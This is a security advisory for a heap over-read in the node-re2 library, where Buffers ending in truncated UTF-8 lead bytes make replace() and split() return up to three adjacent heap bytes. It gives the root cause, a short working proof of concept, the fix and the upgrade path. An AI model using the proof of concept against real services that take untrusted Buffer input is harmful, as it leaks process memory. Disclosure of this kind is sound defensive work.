node-re2 CVE-2026-71498

Summary

re2 infers a character's byte length from its UTF-8 lead byte alone, with no bound on the bytes actually remaining in the input. Buffer arguments reach the native layer verbatim - only strings are re-encoded into well-formed UTF-8 - so a Buffer whose last byte is a multi-byte lead promises continuation bytes that are not there, and the result builders read up to 3 bytes past the end of the buffer. In replace() and split() those bytes are copied into the returned Buffer, disclosing adjacent heap memory to JavaScript. The trigger is deterministic and requires no special heap grooming.

Only Buffer input is affected. String input was never at risk: re-encoding guarantees every multi-byte sequence is complete.

Root cause

getUtf8CharSize maps a lead byte to a length of 1-4 and never sees the input size:

// lib/wrapped_re2.h
inline size_t getUtf8CharSize(char ch)
{
      return ((0xE5000000 >> ((ch >> 3) & 0x1E)) & 3) + 1;
}

Callers then read that many bytes. In the zero-width branch of replace(), the guard proves only that at least *one* byte remains:

// lib/replace.cc
else if ((size_t)offset < size)
{
      auto sym_size = getUtf8CharSize(data[offset]);   // may claim up to 4 bytes
      result.append(data + offset, sym_size);          // reads data[offset .. offset + 3]
      byteIndex = offset + sym_size;
}

offset < size permits offset == size - 1, so a lead byte of 0xF0 makes append read data[size], data[size + 1] and data[size + 2].

Seven read sites shared the defect:

Three further callers were not vulnerable, because they use the result only to advance an index and never dereference past the end: getUtf16PositionByCounter in lib/wrapped_re2.h (clamps its return to the buffer size), lib/match.cc (the value feeds RE2::Match, which rejects startpos > endpos), and the getMaxSubmatch scan in lib/replace.cc (an overshoot just ends the loop).

Proof of concept

Each call returns more bytes than were supplied; the trailing bytes are heap contents and vary between runs.

const RE2 = require('re2');
const hex = buf => [...buf].map(b => b.toString(16).padStart(2, '0')).join(' ');

// subject: 2 bytes in, 5 bytes out
console.log(hex(new RE2('', 'g').replace(Buffer.from([0x41, 0xf0]), '')));
// 41 f0 61 7b eb   <- last 3 bytes are adjacent heap memory

// replacement argument
console.log(hex(new RE2('A', 'g').replace(Buffer.from('A'), Buffer.from([0x42, 0xf0]))));
// 42 f0 41 26 d6

// split
console.log(new RE2('', 'g').split(Buffer.from([0x41, 0xf0])).map(hex));
// [ '41', 'f0 e2 e4 df' ]

0xC2 (2-byte lead) and 0xE2 (3-byte lead) over-read 1 and 2 bytes respectively; 0xF0 over-reads 3.

For the pattern path the over-read occurs in translateRegExp / escapeRegExp, which run before RE2 validates the pattern, but RE2 then rejects the malformed input, so the bytes are discarded rather than returned:

new RE2(Buffer.from([0xf0]));   // SyntaxError: invalid UTF-8 - read already happened

Impact

Information disclosure (replace, split). Up to 3 bytes of heap memory adjacent to the input buffer are returned to JavaScript per call. The read is repeatable, so an attacker who controls Buffer input and observes output can sample heap memory incrementally. What lands there depends on allocator layout and is not directly steerable, but it may include fragments of other buffers.

Out-of-bounds read (pattern compilation). No disclosure path, since the malformed pattern is rejected - but the read is still undefined behavior and can fault if the buffer ends on a page boundary.

Applications that pass only strings, or only well-formed UTF-8 buffers, are unaffected. The exposure matters most where re2 is used as intended: running patterns or subjects derived from untrusted input.

Suggested fix

Clamp the inferred character size to the bytes that actually remain, at every site whose result indexes the buffer:

inline size_t getUtf8CharSize(char ch, size_t remaining)
{
      size_t size = getUtf8CharSize(ch);
      return size < remaining ? size : remaining;
}

This is O(1) and changes no algorithm's complexity. A truncated tail then round-trips as the bytes it really holds, which preserves the documented contract that Buffer input is passed through verbatim. Rejecting malformed UTF-8 in Buffer input would also close the hole, but is a breaking API change.

Resolution

Fixed in re2@1.26.1.

All seven read sites now clamp the character size to the remaining input, so a Buffer ending in a truncated multi-byte character round-trips as its own bytes instead of reading past the end. Regression tests cover the subject, replacement and pattern positions for 2-, 3- and 4-byte leads, including partially truncated sequences.

Remediation: upgrade to re2@1.26.1 or later.

Workaround (if you cannot upgrade): pass strings rather than Buffers, or validate that Buffer input is well-formed UTF-8 before calling replace, split, or the RE2 constructor - for example Buffer.compare(Buffer.from(buf.toString('utf8')), buf) === 0.

Reported by @OvOhao in #272.